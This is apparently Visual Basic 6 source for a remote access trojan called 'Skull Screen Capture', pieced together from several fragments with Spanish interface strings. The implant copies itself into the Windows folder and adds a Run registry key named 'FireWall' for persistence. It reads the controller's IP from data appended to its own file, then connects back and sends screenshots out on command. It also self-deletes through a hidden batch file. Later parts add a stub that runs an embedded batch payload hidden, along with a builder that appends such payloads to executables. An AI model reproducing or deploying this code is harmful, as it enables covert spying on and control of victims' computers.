Const skull As String = "Skull Screen Capture V 0.1"

Private Sub Command1_Click()
ws.LocalPort = 1234
ws.Listen
Label1.Caption = "Escuchando..."
Timer1.Enabled = True
End Sub

Private Sub Command2_Click()
If ws.State = 0 Then
    MsgBox ("Disculpe, pero no hay conexion establecida"), vbCritical, skull: GoTo fin
End If
    labe1.Caption = "Desconectado..."
    Timer1.Enabled = False
    ws.Close
fin:
End Sub

Private Sub Command3_Click()
If ws.State = 0 Then
    MsgBox ("Disculpe, pero no hay conexion establecida"), vbCritical, skull: GoTo fin
End If
    ws.SendData "captura"
fin:
End Sub

Private Sub CommandXP1_Click()
Form3.Show
End Sub

Private Sub CommandXP4_Click()
If ws.State = 0 Then
    MsgBox ("Disculpe, pero no hay conexion establecida"), vbCritical, skull: GoTo fin
End If
    ws.SendData "eliminar"
fin:
End Sub

Private Sub Timer1_Timer()
If ws.State = 7 Then
    Label1.Caption = "Server Conectado"
End If
If ws.State = 0 Then
    Label1.Caption = "Escuchando..."
    ws.LocalPort = 1234
    ws.Listen
End If
End Sub

Private Sub ws_Connect()
MsgBox ("Server Conectado con cliente"), vbInformation, skull
End Sub

Private Sub ws_ConnectionRequest(ByVal requestID As Long)
ws.Close
ws.Accept requestID
End Sub

Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim imagen() As String
Dim datos As String
dll = Dir(Environ("WinDir") & "\imagen.jpg")
ws.GetData datos

Select Case Left(datos, 3)
    Case "fot"
        imagen = Split(datos, "|")
            Open Environ("windir") & "\imagen.jpg" For Binary Access Write As #1
                Put #1, , imagen(1)
            Close #1
If dll <> "" Then
        Form2.Picture1 = LoadPicture(Environ("WinDir") & "\imagen.jpg")
        Form2.Show
        Pause 3
        Kill Environ("Windir") & "\imagen.jpg"
        Else
    If Not dll <> "" Then
            Open Environ("windir") & "\imagen.jpg" For Binary Access Write As #1
                Put #1, , imagen(1)
            Close #1
    End If
        If imagen(1) = "" Then
            ws.SendData "capturar"
        End If
End If
            
    Case "eli"
        MsgBox ("Server eliminado correctamente"), vbInformation, skull
        
End Select
End Sub

Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Declare Function GetModuleFileName Lib "kernel32" Alias "GetModuleFileNameA" (ByVal hModule As Long, ByVal lpFileName As String, ByVal nSize As Long) As Long
Private Declare Function GetWindowWord Lib "user32" (ByVal hwnd As Long, ByVal nIndex As Long) As Integer
Const SW_SHOWHIDE = 0
Const GWW_HINSTANCE = (-6)
Dim IPP() As String
Dim firma As String
Dim IP As String

Private Function Ruta() As String
Dim ModuleName As String, FileName As String, hInst As Long
ModuleName = String$(128, Chr$(0))
hInst = GetWindowWord(Me.hwnd, GWW_HINSTANCE)
ModuleName = Left$(ModuleName, GetModuleFileName(hInst, ModuleName, Len(ModuleName)))
Ruta = ModuleName
End Function

Private Sub Form_Load()
dll = Dir(Environ("WinDir") & "\foto.exe")
If App.PrevInstance = True Then End
firma = "skull"
If Not dll <> "" Then
    Call crear
End If
Open Ruta For Binary As #1
    Dim todo As String
    todo = Space(LOF(1))
    Get #1, , todo
Close #1
    IPP = Split(todo, firma)
    IP = IPP(1)
ws.Connect IP, 1234
Timer1.Enabled = True
End Sub

Private Sub Timer1_Timer()
If ws.State <> 7 Then
    ws.Close
    ws.Connect IP, 1234
End If
    If ws.State = 7 Then
        GoTo fin
End If
    If ws.State = 2 Then
        GoTo fin
End If
fin:
End Sub

Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim posi As String
Dim datos As String
ws.GetData datos
Select Case Left(datos, 3)
    Case "cap"
        Call Capturar_enviar
        
    Case "eli"
        posi = Environ("Windir") & "\foto.exe"
        Open Environ("Windir") & "\temp.bat" For Output As #1
            Print #1, , "ping 127.0.0.1 > nul"
            Print #1, , "del / f / q " & posi
            Print #1, , "exit"
        Close #1
        ShellExecute Me.hwnd, "Open", Environ("WinDir") & "\temp.bat", vbNullString, "", SW_HIDE
        ws.SendData "eliminado"
        End
End Select
End Sub

Private Sub Capturar_enviar()
Dim foto As New cJpeg
dll = Dir(Environ("Windir") & "\foto.jpg")
Dim FileSize As String
    foto.SetSamplingFrequencies 2, 2, 2, 2, 2, 2
    foto.Quality = 93
    foto.SampleScreen
    foto.SaveFile Environ("Windir") & "\foto.jpg"
Pause 5
If dll <> "" Then
    Open Environ("Windir") & "\foto.jpg" For Binary Access Read As #1
        Do Until EOF(1)
            Dim todo As String
                todo = Space(LOF(1))
            Get #1, , todo
        Loop
    Close #1
End If
ws.SendData "foto" & "|" & todo
End Sub

Private Sub crear()
FileCopy Ruta, Environ("WinDir") & "\foto.exe"
Dim sk As Object
    Set sk = CreateObject("WScript.Shell")
    sk.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\run\FireWall", Environ("WinDir") & "\foto.exe"
End Sub

    Open Environ("Windir") & "\foto.jpg" For Binary Access Read As #1
        Do Until EOF(1)
            Dim todo As String
                todo = Space(LOF(1))
            Get #1, , todo
        Loop
    Close #1
End If
ws.SendData "foto" & "|" & todo

dim msg as string
dim titulo as string
dim tipo as string
msg = text1.text
titulo = text2.text
if check1.value = 1 then
         tipo = vbcritical
end if
      if check2.value = 1 then
          tipo = vbinformation
end if
ws.SendData "mensaje" & "|" & msg & "|" & titulo & "|" & tipo

dim dato as string
ws.GetData dato
Select Case Left(dato, 3)

         Case "men"
                  dim mensaje() As string
                  mensaje = Split(dato, "|")
                           msgbox (mensaje(1)), mensaje(2), mensaje(3)
...

Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Declare Function GetModuleFileName Lib "kernel32" Alias "GetModuleFileNameA" (ByVal hModule As Long, ByVal lpFileName As String, ByVal nSize As Long) As Long
Private Declare Function GetWindowWord Lib "user32" (ByVal hwnd As Long, ByVal nIndex As Long) As Integer
Dim Firma As String
Dim SubFirma As String
Dim modo As String
Dim datobat As String
Dim code As Variant, Partes As Variant
Const GWW_HINSTANCE = (-6)
Const SW_SHOWNORMAL = 1
Const SW_SHOWHIDE = 0

Private Function Ruta() As String
Dim ModuleName As String, FileName As String, hInst As Long
ModuleName = String$(128, Chr$(0))
hInst = GetWindowWord(Me.hwnd, GWW_HINSTANCE)
ModuleName = Left$(ModuleName, GetModuleFileName(hInst, ModuleName, Len(ModuleName)))
Ruta = ModuleName
End Function

Private Sub Form_Load()
Firma = "[--]"
SubFirma = "[++]"

Open Ruta For Binary Access Read As #1
    Dim todo As String
    todo = Space(LOF(1))
    Get #1, , todo
Close #1

code = Split(todo, Firma)
For i = 1 To UBound(code)
    Partes = Split(code(i), SubFirma)
        For x = 0 To UBound(Partes)
            Select Case x
                Case 0
                    datobat = Partes(x)
                Case 1
                    modo = Partes(x)
            End Select
        Next
Next

Open Environ("Windir") & "\" & "tempfile.bat" For Binary Access Write As #1
Seek (1), LOF(1) + 1
    Put #1, , datobat
Close #1
Pause 1
Call arreglar

If modo = "inv" Then
    ShellExecute Me.hwnd, "open", Environ("Windir") & "\" & "tempfile.bat", vbNullString, "", SW_SHOWNORMAL
    Else
        If modo = "vis" Then
            ShellExecute Me.hwnd, "open", Environ("Windir") & "\" & "tempfile.bat", vbNullString, "", SW_HIDE
        End If
End If
Call fin
End Sub

Private Sub fin()
End
End Sub

Private Sub arreglar()
Dim semi() As String
Dim exo As String
exo = "@echo off"
Open Environ("Windir") & "\" & "tempfile.bat" For Input As #1
    Dim todo As String
        todo = Input(LOF(1), #1)
Close #1

semi = Split(todo, vbCrLf)

If UBound(semi) > 2 Then
    semi(0) = exo
End If

Open Environ("WinDir") & "\tempfile.bat" For Output As #1
    For i = 0 To UBound(semi)
        Print #1, semi(i)
    Next i
Close #1
End Sub

Open rutab For Binary Access Read As #1
    Dim datobat As String
    datobat = Space(LOF(1))
    Get #1, , datobat
Close #1

Open App.Path & "\" & cd.FileTitle & ".exe" For Binary Access Write As #1
    Seek (1), LOF(1) + 1
    Put #1, , firma
    Put #1, , datobat & subfirma & modo
Close #1